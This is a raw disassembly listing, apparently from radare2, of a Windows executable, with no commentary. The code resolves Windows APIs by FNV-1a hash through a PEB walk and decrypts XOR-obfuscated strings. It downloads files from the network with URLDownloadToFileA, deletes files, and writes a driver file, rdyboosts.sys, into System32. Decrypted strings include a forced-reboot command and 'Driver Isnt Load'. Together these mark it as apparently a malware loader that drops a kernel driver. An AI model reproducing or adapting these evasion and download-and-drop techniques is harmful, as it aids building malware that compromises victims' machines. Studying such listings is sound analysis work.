je 0x1400b8f90
mov r10d, dword [rax + r9 + 0x18]
test r10, r10
je 0x1400b8f90
mov r11d, dword [rax + r9 + 0x20]
add r11, rax
lea r14, [rax + 1]
jmp 0x1400b8fc5
test rdi, rdi
je 0x1400b8f90
dec r10
mov edi, r10d
mov r15d, dword [r11 + rdi*4]
movzx r13d, byte [rax + r15]
test r13b, r13b
je 0x1400b8fc0
add r15, r14
mov r12d, 0x811c9dc5
nop word cs:[rax + rax]
movsx r13d, r13b
xor r13d, r12d
imul r12d, r13d, 0x1000193
movzx r13d, byte [r15]
inc r15
test r13b, r13b
jne 0x1400b8ff0
cmp r12d, 0x7744f24
jne 0x1400b8fc0
cmp rdx, 0x10
cmovae rsi, rcx
mov ecx, dword [rax + r9 + 0x1c]
mov edx, dword [rax + r9 + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + rdi*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov rcx, rsi
call rdx
mov esi, eax
mov rax, qword [rbp + 0x2e8]
cmp rax, 0x10
movabs r12, 0x4c4b4a4948474645
jb 0x1400b908b
mov rcx, qword [rbp + 0x2d0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400b9086
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400bc7bf
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140127e30
movsxd rax, esi
cmp rbx, rax
je 0x1400b9230
movups xmm0, xmmword [0x140170691]
movaps xmmword [rbp + 0x300], xmm0
movabs rax, 0x4224345e5a4d691b
mov qword [rbp + 0x30e], rax
movups xmm0, xmmword [0x140170681]
movups xmm1, xmmword [0x140170671]
movups xmm2, xmmword [0x140170661]
xorps xmm2, xmmword [str.56789:_____ABCDCreateWindowExA]
xorps xmm1, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x2d0], xmm2
movaps xmmword [rbp + 0x2e0], xmm1
xorps xmm0, xmmword [str.UVWXYZ____abcdefghijkl56789:__C:_Windows_instaC:_Windows_1.exe___ABCDEFGHIJKLshutdown__r__f__Driver_Isnt_Load5678]
movaps xmmword [rbp + 0x2f0], xmm0
movaps xmm0, xmmword [rbp + 0x300]
xorps xmm0, xmmword [0x1401717d0]
movaps xmmword [rbp + 0x300], xmm0
xor byte [rbp + 0x310], 0x3d
xor byte [rbp + 0x311], 0x3e
xor byte [rbp + 0x312], 0x3f
xor byte [rbp + 0x313], 0x40
xor byte [rbp + 0x314], 0x41
xor byte [rbp + 0x315], 0x42
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
cmp byte [rbp + 0x315], 0
jne 0x1400b91cc
movaps xmm0, xmmword [rbp + 0x2d0]
movaps xmm1, xmmword [rbp + 0x2e0]
movaps xmm2, xmmword [rbp + 0x2f0]
movaps xmm3, xmmword [rbp + 0x300]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm0
xorps xmm1, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
xorps xmm2, xmmword [str.UVWXYZ____abcdefghijkl56789:__C:_Windows_instaC:_Windows_1.exe___ABCDEFGHIJKLshutdown__r__f__Driver_Isnt_Load5678]
movaps xmmword [rbp + 0x2e0], xmm1
movaps xmmword [rbp + 0x2f0], xmm2
xorps xmm3, xmmword [0x1401717d0]
movaps xmmword [rbp + 0x300], xmm3
xor byte [rbp + 0x310], 0x3d
xor byte [rbp + 0x311], 0x3e
xor byte [rbp + 0x312], 0x3f
xor byte [rbp + 0x313], 0x40
xor byte [rbp + 0x314], 0x41
xor byte [rbp + 0x315], 0x42
mov rdx, qword [0x14059d168]
lea rcx, [rbp - 0x20]
call fcn.14000ae30
cmp byte [rbp + 0x5e7], 0
je 0x1400b9220
movaps xmm0, xmmword [rbp + 0x5c0]
movaps xmm1, xmmword [rbp + 0x5d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x5c0], xmm0
xorps xmm1, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x5d0], xmm1
movabs rax, 0x5c5b5a5958575655
xor qword [rbp + 0x5e0], rax
lea rcx, [rbp + 0x5c0]
lea rdx, [rbp - 0x20]
call fcn.1400bd890
movups xmm6, xmmword [0x1401706b4]
movups xmmword [rbp + 0x2dd], xmm6
movups xmm7, xmmword [0x1401706a7]
movaps xmmword [rbp + 0x2d0], xmm7
movaps xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm0
xor qword [rbp + 0x2e0], r12
xor byte [rbp + 0x2e8], 0x4d
xor byte [rbp + 0x2e9], 0x4e
xor byte [rbp + 0x2ea], 0x4f
xor byte [rbp + 0x2eb], 0x50
xor byte [rbp + 0x2ec], 0x51
mov dword [rsp + 0x20], 1
mov rcx, rbp
lea rdx, [rbp + 0x2d0]
mov r8d, 1
mov r9d, 0x40
call fcn.1400b62c0
mov rax, qword [rbp]
movsxd rax, dword [rax + 4]
lea rcx, [rax + rbp]
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
test al, al
jne 0x1400b9d03
movups xmmword [rbp + 0x55d], xmm6
movaps xmmword [rbp + 0x550], xmm7
movaps xmm0, xmmword [rbp + 0x550]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x550], xmm0
xor qword [rbp + 0x560], r12
xor byte [rbp + 0x568], 0x4d
xor byte [rbp + 0x569], 0x4e
xor byte [rbp + 0x56a], 0x4f
xor byte [rbp + 0x56b], 0x50
xor byte [rbp + 0x56c], 0x51
mov dword [rsp + 0x20], 1
lea rcx, [rbp + 0x2d0]
lea rdx, [rbp + 0x550]
mov r8d, 2
mov r9d, 0x40
call fcn.1400b3940
movabs rax, 0x42242c56584f5957
mov qword [rbp + 0x5b6], rax
movabs rbx, 0x595756584c44585c
mov qword [rbp + 0x5b0], rbx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400b9370
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400b9370
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400b93a5
test r11, r11
je 0x1400b9370
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx edi, byte [rax + rsi]
test dil, dil
je 0x1400b93a0
add rsi, r10
mov r14d, 0x811c9dc5
nop word cs:[rax + rax]
movsx edi, dil
xor edi, r14d
imul r14d, edi, 0x1000193
movzx edi, byte [rsi]
inc rsi
test dil, dil
jne 0x1400b93d0
cmp r14d, 0xeb9ddf46
jne 0x1400b93a0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 1
call rdx
movabs r14, 0x656c6c6174736e69
mov qword [rbp + 0x518], r14
mov dword [rbp + 0x520], 0x74616272
mov byte [rbp + 0x524], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1b0], xmm0
movaps xmmword [rbp + 0x1c0], xmm0
lea rcx, [rbp + 0x518]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
test rax, rax
js 0x1400bce5a
mov rsi, rax
cmp rax, 0xf
ja 0x1400b949a
mov qword [rbp + 0x1c0], rsi
mov qword [rbp + 0x1c8], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x1b0]
lea rdx, [rbp + 0x518]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rbp
add rsi, 0x1b0
jmp 0x1400b955c
mov qword [rbp + 0x1c8], reloc.WS2_32.dll_ntohs
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov r15d, reloc.WLDAP32.dll_Ordinal_22
cmovae r15, rax
cmp r15, 0xfff
jb 0x1400b9526
lea rcx, [r15 + 0x28]
call fcn.140127dec
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400b9532
mov qword [rbp + 0x188], reloc.WS2_32.dll_ntohs
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, reloc.WLDAP32.dll_Ordinal_22
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x1400bc77e
lea rcx, [rbx + 0x28]
call fcn.140127dec
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x1400bc78a
lea rcx, [r15 + 1]
call fcn.140127dec
mov rdi, rax
mov qword [rbp + 0x1b0], rdi
mov qword [rbp + 0x1c0], rsi
mov qword [rbp + 0x1c8], r15
lea rdx, [rbp + 0x518]
mov rcx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov byte [rsi], 0
lea rcx, [0x14059db20]
lea rsi, [rbp + 0x530]
lea r8, [rbp + 0x1b0]
mov rdx, rsi
call fcn.1400e7c00
mov qword [rbp + 0x518], rbx
mov dword [rbp + 0x520], 0x345e5c4f
mov byte [rbp + 0x524], 0x41
movaps xmm6, xmmword [0x1401717e0]
movaps xmmword [rbp + 0x290], xmm6
mov dword [rbp + 0x2a0], 0x622e6c6c
mov word [rbp + 0x2a4], 0x7461
mov byte [rbp + 0x2a6], 0
cmp qword [rbp + 0x548], 0x10
jb 0x1400b95cd
mov rsi, qword [rbp + 0x530]
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x290]
xor ecx, ecx
mov rdx, rsi
xor r9d, r9d
call sub.urlmon.dll_URLDownloadToFileA
mov qword [rbp + 0x5b0], r14
mov dword [rbp + 0x5b8], 0x6c696672
mov word [rbp + 0x5bc], 0x65
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1d0], xmm0
movaps xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x5b0]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
test rax, rax
js 0x1400bce5f
mov rsi, rax
cmp rax, 0xf
ja 0x1400b9667
mov qword [rbp + 0x1e0], rsi
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x1d0]
lea rdx, [rbp + 0x5b0]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rbp
add rsi, 0x1d0
jmp 0x1400b96e0
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov r14d, reloc.WLDAP32.dll_Ordinal_22
cmovae r14, rax
cmp r14, 0xfff
jb 0x1400b96aa
lea rcx, [r14 + 0x28]
call fcn.140127dec
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400b96b6
lea rcx, [r14 + 1]
call fcn.140127dec
mov rdi, rax
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1e0], rsi
mov qword [rbp + 0x1e8], r14
lea rdx, [rbp + 0x5b0]
mov rcx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov byte [rsi], 0
lea rcx, [0x14059db20]
lea rsi, [rbp + 0x270]
lea r8, [rbp + 0x1d0]
mov rdx, rsi
call fcn.1400e7c00
mov qword [rbp + 0x5b0], rbx
mov dword [rbp + 0x5b8], 0x2c56584f
mov word [rbp + 0x5bc], 0x4224
movaps xmm7, xmmword [0x1401717f0]
movaps xmmword [rbp + 0x2b0], xmm7
mov byte [rbp + 0x2c0], 0
cmp qword [rbp + 0x288], 0x10
jb 0x1400b9740
mov rsi, qword [rbp + 0x270]
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x2b0]
xor ecx, ecx
mov rdx, rsi
xor r9d, r9d
call sub.urlmon.dll_URLDownloadToFileA
movaps xmmword [rbp + 0x550], xmm6
mov dword [rbp + 0x560], 0x622e6c6c
mov word [rbp + 0x564], 0x7461
mov byte [rbp + 0x566], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1f0], xmm0
movaps xmmword [rbp + 0x200], xmm0
lea rcx, [rbp + 0x550]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
test rax, rax
js 0x1400bce64
mov rsi, rax
cmp rax, 0xf
ja 0x1400b97e1
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x208], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x1f0]
lea rdx, [rbp + 0x550]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rbp
add rsi, 0x1f0
jmp 0x1400b9859
mov qword [rbp + 0x208], reloc.WS2_32.dll_ntohs
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, reloc.WLDAP32.dll_Ordinal_22
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x1400b9823
lea rcx, [rbx + 0x28]
call fcn.140127dec
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400b982f
lea rcx, [rbx + 1]
call fcn.140127dec
mov rdi, rax
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x208], rbx
lea rdx, [rbp + 0x550]
mov rcx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov byte [rsi], 0
lea rcx, [rbp + 0x1f0]
call fcn.1400b72a0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400b9880
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400b9880
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400b98b5
test r11, r11
je 0x1400b9880
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400b98b0
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400b98d0
cmp edi, 0x2fa62ca8
jne 0x1400b98b0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0x3e8
call rdx
movaps xmmword [rbp + 0x550], xmm6
mov dword [rbp + 0x560], 0x622e6c6c
mov word [rbp + 0x564], 0x7461
mov byte [rbp + 0x566], 0
mov rsi, qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x550]
call rsi
movaps xmmword [rbp + 0x550], xmm7
mov byte [rbp + 0x560], 0
lea rcx, [rbp + 0x550]
call rsi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word cs:[rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400b9970
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400b9970
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400b99a5
test r11, r11
je 0x1400b9970
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400b99a0
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400b99c0
cmp edi, 0xeb9ddf46
jne 0x1400b99a0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400b9a10
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400b9a10
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400b9a45
test r8d, r8d
je 0x1400b9a10
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400b9a40
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400b9a60
cmp edi, 0x23a979e4
jne 0x1400b9a40
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r10d, dword [rcx + rdx*4]
add r10, rax
mov word [rbp + 0x508], reloc.WLDAP32.dll_Ordinal_32
movups xmm0, xmmword [0x140170712]
movups xmm1, xmmword [str._bF5_r]
movups xmm2, xmmword [0x1401706f2]
movups xmm3, xmmword [0x1401706e2]
movups xmm4, xmmword [0x1401706d2]
xorps xmm4, xmmword [str.56789:_____ABCDCreateWindowExA]
xorps xmm3, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x550], xmm4
movaps xmmword [rbp + 0x560], xmm3
xorps xmm2, xmmword [str.UVWXYZ____abcdefghijkl56789:__C:_Windows_instaC:_Windows_1.exe___ABCDEFGHIJKLshutdown__r__f__Driver_Isnt_Load5678]
movaps xmmword [rbp + 0x570], xmm2
xorps xmm1, xmmword [0x1401717d0]
movaps xmmword [rbp + 0x580], xmm1
xorps xmm0, xmmword [0x140171800]
movaps xmmword [rbp + 0x590], xmm0
mov byte [rbp + 0x5a0], 0
lea rdx, [rbp + 0x550]
lea r8, [rbp + 0x508]
xor ecx, ecx
mov r9d, 0x40
call r10
movaps xmm0, xmmword [0x140171810]
movaps xmmword [rbp + 0x550], xmm0
mov dword [rbp + 0x560], 0x302074
xorps xmm0, xmm0
movaps xmmword [rbp + 0x210], xmm0
movaps xmmword [rbp + 0x220], xmm0
lea rcx, [rbp + 0x550]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
test rax, rax
js 0x1400bce69
mov rsi, rax
cmp rax, 0xf
ja 0x1400b9ba4
mov qword [rbp + 0x220], rsi
mov qword [rbp + 0x228], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x550]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rbp
add rsi, 0x210
jmp 0x1400b9c1c
mov qword [rbp + 0x228], reloc.WS2_32.dll_ntohs
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, reloc.WLDAP32.dll_Ordinal_22
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x1400b9be6
lea rcx, [rbx + 0x28]
call fcn.140127dec
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400b9bf2
lea rcx, [rbx + 1]
call fcn.140127dec
mov rdi, rax
mov qword [rbp + 0x210], rdi
mov qword [rbp + 0x220], rsi
mov qword [rbp + 0x228], rbx
lea rdx, [rbp + 0x550]
mov rcx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov byte [rsi], 0
lea rcx, [rbp + 0x210]
call fcn.1400b72a0
mov rax, qword [rbp + 0x288]
cmp rax, 0x10
jb 0x1400b9c70
mov rcx, qword [rbp + 0x270]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400b9c6b
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400bc7bf
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140127e30
mov rax, qword [rbp + 0x548]
cmp rax, 0x10
jb 0x1400b9cb5
mov rcx, qword [rbp + 0x530]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400b9cb0
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400bc7bf
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140127e30
lea rsi, [rbp + 0x378]
mov rax, qword [rbp + 0x2d0]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0x2d0], rcx
mov rax, qword [rbp + 0x2d0]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xa8]
mov dword [rbp + rax + 0x2cc], ecx
lea rcx, [rbp + 0x2d8]
call fcn.1400be9b0
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
lea rcx, [0x14059ddb8]
call fcn.1400bda40
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
lea rcx, str..796a42a7cc_b912644a0_1f61981b48fb3
mov edx, 0xc0000000
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov qword [0x14059d040], rax
movaps xmm0, xmmword [0x1401715e0]
movaps xmmword [rbp + 0x530], xmm0
mov dword [rbp + 0x540], 0x6769
lea rdi, [rbp + 0x530]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov qword [rbp + 0x2d0], rdi
mov qword [rbp + 0x2d8], rax
call fcn.140128698
lea rdi, [rbp + 0x550]
lea r8, [rbp + 0x2d0]
mov rcx, rdi
mov edx, eax
call fcn.1400da360
cmp qword [rbp + 0x568], 8
jb 0x1400b9db0
mov rdi, qword [rbp + 0x550]
lea rdx, [rbp + 0x2d0]
mov rcx, rdi
mov r8d, 3
mov r9d, 0xffffffff
call fcn.140128370
xor edi, edi
cmp eax, 0x34
jg 0x1400b9de7
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x1400b9df5
test eax, eax
jne 0x1400bceb1
mov dil, 1
jmp 0x1400b9df5
cmp eax, 0x35
je 0x1400b9df5
cmp eax, 0x7b
jne 0x1400bceb1
mov rax, qword [rbp + 0x568]
cmp rax, 8
jb 0x1400b9e41
mov rcx, qword [rbp + 0x550]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x1400b9e3c
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400bc7bf
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140127e30
test dil, dil
je 0x1400b9e4d
call fcn.140099e20
jmp 0x1400b9e52
call fcn.14006bed0
inc rsi
cmp rsi, 2
jae 0x1400ba0b6
movaps xmm0, xmmword [0x140171820]
movaps xmmword [rbp + 0x2d0], xmm0
mov dword [rbp + 0x2e0], 0x2e2e6465
mov word [rbp + reloc.WLDAP32.dll_Ordinal_464], 0x2e
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
cmp byte [rbp + 0x2e5], 0
jne 0x1400b9ebe
movaps xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [0x140171830]
movss dword [rbp + 0x2d0], xmm0
xor byte [rbp + 0x2d4], 0x39
xor byte [rbp + 0x2d5], 0x3a
movups xmm0, xmmword [0x14017074c]
movaps xmmword [rbp + 0x2e0], xmm0
movabs rax, 0x592a32203c261772
mov qword [rbp + 0x2ed], rax
movups xmm0, xmmword [0x14017073c]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm0
movaps xmm0, xmmword [rbp + 0x2e0]
xorps xmm0, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x2e0], xmm0
xor byte [rbp + 0x2f0], 0x55
xor byte [rbp + 0x2f1], 0x56
xor byte [rbp + 0x2f2], 0x57
xor byte [rbp + 0x2f3], 0x58
xor byte [rbp + 0x2f4], 0x59
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
cmp byte [rbp + 0x2f4], 0
jne 0x1400b9f91
movaps xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmm1, xmmword [rbp + 0x2e0]
movaps xmmword [rbp + 0x2d0], xmm0
xorps xmm1, xmmword [str.EFGHIJKLMNOPQRSTSpirit_Authentic___]
movaps xmmword [rbp + 0x2e0], xmm1
xor byte [rbp + 0x2f0], 0x55
xor byte [rbp + 0x2f1], 0x56
xor byte [rbp + 0x2f2], 0x57
xor byte [rbp + 0x2f3], 0x58
xor byte [rbp + 0x2f4], 0x59
mov rcx, qword [str.C:WindowsSystem32_rdyboosts.sys]
mov dword [rbp + 0x2d0], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
mov edx, 0x10000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x1400ba01e
cmp rsi, 0xffffffffffffffff
je 0x1400baec8
mov qword [rsp + 0x20], 0
lea rdx, [0x140590460]
lea r9, [rbp + 0x2d0]
mov rcx, rsi
mov r8d, 0x6650
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test dil, dil
je 0x1400baec8
mov dword [rbp + 0x5b3], 0x3b0d0108
mov dword [rbp + 0x5b0], 0x80e0306
mov dword [rbp + 0x2b0], 0x31333831
mov word [rbp + 0x2b4], 0x3937
mov byte [rbp + 0x2b6], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x230], xmm0
movaps xmmword [rbp + 0x240], xmm0
lea rcx, [rbp + 0x2b0]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
test rax, rax
js 0x1400bce6e
mov rsi, rax
cmp rax, 0xf
ja 0x1400ba29e
mov qword [rbp + 0x240], rsi
mov qword [rbp + 0x248], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x230]
lea rdx, [rbp + 0x2b0]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rbp
add rsi, 0x230
jmp 0x1400ba316
movups xmm0, xmmword [0x14017072c]
movups xmmword [rbp + 0x2d9], xmm0
movups xmm0, xmmword [0x140170723]
movaps xmmword [rbp + 0x2d0], xmm0
movaps xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm0
xor qword [rbp + 0x2e0], r12
xor byte [rbp + 0x2e8], 0x4d
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
cmp byte [rbp + 0x2e8], 0
jne 0x1400ba132
movaps xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm0
xor qword [rbp + 0x2e0], r12
xor byte [rbp + 0x2e8], 0x4d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word cs:[rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400ba150
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400ba150
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400ba185
test r11, r11
je 0x1400ba150
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400ba180
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400ba1a0
cmp edi, 0x2fa62ca8
jne 0x1400ba180
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0x190
call rdx
mov dword [rbp + 0x2d0], 0x38445a56
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400ba200
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400ba200
